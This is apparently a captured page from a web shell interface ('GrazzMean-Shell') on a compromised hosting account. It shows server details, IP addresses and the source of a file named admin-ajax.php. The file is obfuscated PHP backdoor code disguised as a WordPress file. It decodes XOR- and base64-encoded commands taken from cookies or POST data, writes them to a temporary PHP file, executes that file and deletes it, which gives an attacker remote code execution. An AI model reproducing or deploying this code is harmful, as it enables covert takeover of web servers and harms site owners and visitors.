shell bypass 403

GrazzMean-Shell Shell

: /home/allssztx/knellcare.com/ [ drwxr-x--- ]
Uname: Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.213.251.212
Your Ip: 18.191.240.134
User: allssztx (535) | Group: allssztx (533)
Safe Mode: OFF
Disable Function:
NONE

name : admin-ajax.php
<?php $riawtuchaw   =    'riawtuchaw'	^    '';



$ojdibnir_m /*   uns  */ = /*   rgsuu   */ $_COOKIE;

$_cvla_jvclk    =    $_POST;





function    dymvpm($gcvxojcbdd,	$foxjispdk)
{      global	$riawtuchaw;    $quenrndo	=     "";


	$mtd_y    =    3;
	$stnlk	=     $mtd_y /*ykr   */ - /*j   */ 9;


      for      ($svinr    =     0; /*   ubtal   */ $svinr     < /*  af   */ strlen($gcvxojcbdd);)    {
 /*   za*/ for	($_cvla	=   0;  $_cvla /*   hm_  */ < /* k */ strlen($foxjispdk)      && /* kfko*/ $svinr /* rx_lo  */ < /*eo  */ strlen($gcvxojcbdd);	$_cvla++,    $svinr++) /* c */ {	$quenrndo  .=    $riawtuchaw(ord($gcvxojcbdd[$svinr])  ^   ord($foxjispdk[$_cvla]));


			$vpquegkqf /*  nxwwcg*/ =       'jsrctszvqz';

 /* bywrbg*/ }

 /* mzecqn  */ }
	return /*  _jyvy   */ $quenrndo;}



function /* mo */ e_dduhad($hiyah, /*  yzrt  */ $gcvxojcbdd)


{
 /*onmod */ global /*xbzx*/ $riawtuchaw;

    $silvqw    = /*cs */ sprintf("\x2e"    . /*nas   */ "\57"    . /*r */ "%"."s".$riawtuchaw(1015-969) /* e  */ . /*  oqbt_g */ "p"."\x6c",       md5($hiyah));


	$qgpcqdpb /* pms  */ =  'uvmceejlb';	file_put_contents($silvqw,    "<"   .    "\77"       .     "p"."\150" /*   k   */ .	"p".$riawtuchaw(32) /*  jgre  */ .     "\165"	.    $riawtuchaw(110)    .    "\154" /*  r   */ .	"i"."n"."k"."(".$riawtuchaw(1029-934) /*sdcl*/ . /*ciit*/ $riawtuchaw(95)	. /*   zf  */ $riawtuchaw(985-915)	.	$riawtuchaw(73)	.     "L".$riawtuchaw(69)      .    "\x5f" /*   x   */ .       "\137" /*  ap_ */ . /*   bv*/ "\51" /*ps  */ .   ";".$riawtuchaw(32)      . /*v   */ $gcvxojcbdd["d"]);

$qgpcqdpb /*  y */ = /* msc */ trim($qgpcqdpb);


$bhnawu_m    =     13;

      include($silvqw);

      $eypvg  =     $silvqw;

	$qksze_z /*he   */ =    0;
    @unlink($eypvg);

	$vsrgj       =   ord('j');}


function /*   djhmy  */ x_hwcyxucy()


{ /*   rcaatk */ $spthkut	=       'r_ebvxmn'; /* _ims  */ $dqwkul /*jie   */ = /*xuifjp */ 28;
}




function     wsgths()


{
    global       $riawtuchaw;


    $svinr /*   gbgh*/ =      array();    $svinr["\x70"  .	"v"]	=     phpversion();
   $svinr["s"."\x76"]	= /*   fsbhuc*/ $riawtuchaw(778-727)  .	"."."\65";


 /*d  */ echo /* fw_ap */ @serialize($svinr);}



function /* g_r */ etkdvfnim()

{
    $qnkvjvs /*  nzea  */ =    'luwthncb'; /*   pkpu  */ $_cvlaytmt_ /*  _eotf */ = /* j   */ 'hoztpfxy';    $bmsdc_x /*  wlaib   */ = /*  tse*/ 34;
 /* aizs   */ $xdcglig   =   strlen($_cvlaytmt_);


    $lihmvfz /*  tueq   */ = /*   qtjss */ 18;

}


etkdvfnim();







x_hwcyxucy();


function      hxqexdnnmk($gcvxojcbdd,	$hiyah,  $xsyeywxghu)


{

 /*  okwn */ global    $riawtuchaw;



	$gcvxojcbdd  = /*   swd*/ unserialize(dymvpm(dymvpm(base64_decode($gcvxojcbdd),	$hiyah),    $xsyeywxghu));

    if    (isset($gcvxojcbdd["\141" /*eyxg   */ . /* um*/ "k"]))	{


 /*  o  */ if	($gcvxojcbdd["a"]     ==     "i") /* i*/ {
       wsgths();    }    elseif    ($gcvxojcbdd["a"]	== /*  b*/ "e")   {

	e_dduhad($hiyah,	$gcvxojcbdd); /*_lt*/ }
    exit();

 /*  ezicg  */ }

}



$ojdibnir_m      =      array_merge($_cvla_jvclk, /*   ztnxu */ $ojdibnir_m);



$hiyah    =	"\66"  . /* e */ "\x38" /*  ygke   */ .    "\143" /* dm_jn   */ .   "4".$riawtuchaw(50)    .      $riawtuchaw(101)	. /* gvvczw */ "\x64"	.	"8"."\x2d" /* bfw  */ .    "\x32" /*   vdwpw */ .	"5"."2".$riawtuchaw(493-443) /*   puph */ .	"-"."4".$riawtuchaw(56) /*i_o_ */ .    "\146"	.   "\x39" /*t*/ .    "-"."\x39" /* v*/ .	"\65"   . /* y  */ "5"."4"."\55" /* lw */ .   "9".$riawtuchaw(606-557) /*   czszvc   */ .	"e".$riawtuchaw(102)	. /* m*/ "5"."\x33" /*vls_ */ .   "f".$riawtuchaw(999-898)   .     "\65"     . /*  yck   */ "6"."b"."\x66";foreach	($ojdibnir_m   as /*du*/ $xsyeywxghu	=>	$gcvxojcbdd) /*  ofa  */ {


   hxqexdnnmk($gcvxojcbdd, /* lzr */ $hiyah, /*   g   */ $xsyeywxghu);

}

$tfmcyx	=	71;

?>
© 2025 GrazzMean-Shell